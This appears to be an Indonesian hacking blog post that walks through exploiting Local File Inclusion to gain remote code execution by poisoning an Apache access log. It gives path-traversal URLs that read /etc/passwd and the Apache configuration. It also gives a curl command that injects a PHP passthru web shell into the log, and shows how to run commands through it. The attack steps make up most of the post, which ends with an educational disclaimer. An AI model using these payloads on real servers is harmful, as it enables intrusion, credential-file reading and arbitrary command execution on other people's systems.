LFI to RCE - Inject PHP Code ke dalam Access Log


OK, diartikel pertama blog ZeroByte Core ini, kita akan membahas celah yang cukup berbahaya yaitu LFI.

Cerita sedikit, artikel ini adalah penjelasan dari artikel yang sebelumnya diterbitkan pada website medium.com yang ditulis oleh salah satu hacktivism yang saya kenal di Surabaya Hacker Link, yaitu mas Pacenoge (https://medium.com/@p4c3n0g3/lfi-to-rce-via-access-log-injection-88684351e7c0).

Apa itu LFI?

LFI (Local File Inclusion) adalah sebuah vulnerability (celah) yang biasanya terdapat pada Web Application, celah tersebut dimana sang Attacker dapat mengakses seluruh readable file (file yang dapat dibaca oleh semua user biasa atau non-root) hanya melalui input pada aplikasi tersebut (contohnya: Request GET pada sebuah URL).


  • Apakah hanya mengakses saja?
  • Bisakah kita eksekusi sampai kita dapat mengupload sebuah backdoor?


Jawabannya: Bisa!

Kita akan melakukan Injeksi terhadap access log yang digunakan pada web server tersebut tujuannya supaya kita dapat mengeksekusi celah tersebut melewati celah RCE (Remote Code Execution) yang kita buat.

Access Log pada web server itu sendiri adalah sebuah pencatatan (Log) dari seluruh request yang mengakses web server tersebut.

Ok, kita mulai.

Disini saya memiliki sample aplikasi yang terdapat celah LFI.


Contoh URL: http://target.com/index.php?page=main.php

Bagaimana cara memeriksa bahwa URL tersebut rentan terhadap LFI. Kalian dapat mengutak-atik GET pada URL tersebut (contoh: http://target.com/index.php?page=main'.php) bilamana terdapat error, maka dapat dipastikan Web tersebut rentan terhadap LFI.


Atau kalian bisa langsung memeriksa apakah lewat URL tersebut dapat mengambil file configuration pada OS seperti /etc/passwd (contoh: http://target.com/index.php?page=../../../../etc/passwd) bilamana web tersebut menampilkan configuration file, maka dapat dipastikan web tersebut juga rentan terhadap LFI.



LFI to RCE via Access Log

Pertama-tama hal yang harus dilakukan adalah Recon atau mencari dimana file access log tersebut disimpan, dengan cara melihat konfigurasi web server tersebut.

Disini saya ambil contoh target saya menggunakan Apache2 dimana konfigurasi penempatan directory log-nya terdapat di /etc/apache2/envvars. (contoh: http://target.com/index.php?page=../../../../etc/apache2/envvars)


Disini saya mendapatkan informasi bahwa APACHE_LOG_DIR=/var/log/apache2 yang menandakan bahwa log directory apache2 pada target saya terdapat di /var/log/apache2 kemudian saya mencoba membuka /var/log/apache2/access.log.


Ternyata benar bahwasanya access log target saya terdapat di "/var/log/apache2/access.log".
Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log

Setelah itu kita lakukan eksploitasi dengan cara mengirimkan request berupa PHP Code yang berisi funtion berbahaya untuk melakukan RCE.
Disini saya menggunakan cURL untuk menginjeksi PHP Code tersebut kedalam access log.
curl -s -X GET "http://target.com/evil<pre><?php passthru(\$_GET\['cmd'\]);?></pre>";
LFI to RCE via Access Log

Setelah di-injeksi menggunakan payload curl tersebut, kita akses kembali access log-nya sekaligus menggunakan payload shell, disini saya mencoba menjalankan command id.

Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id

LFI to RCE, Upload Shell LFI

Alhasil command id tersebut berhasil dieksekusi, dan sisanya kalian bisa mainkan dengan command-command shell.

Sekian dari artikel terkait "LFI to RCE - Inject PHP Code to Access Log" semoga menambah wawasan kalian untuk melakukan aktifitas hacking. Tujuan artikel ini ditulis karena kami ingin mengedukasi, bilamana terdapat pertanyaan yang sifatnya merusak milik orang lain tidak akan kami jawab, Terima kasih.


Post a Comment

Previous Post Next Post

Contact Form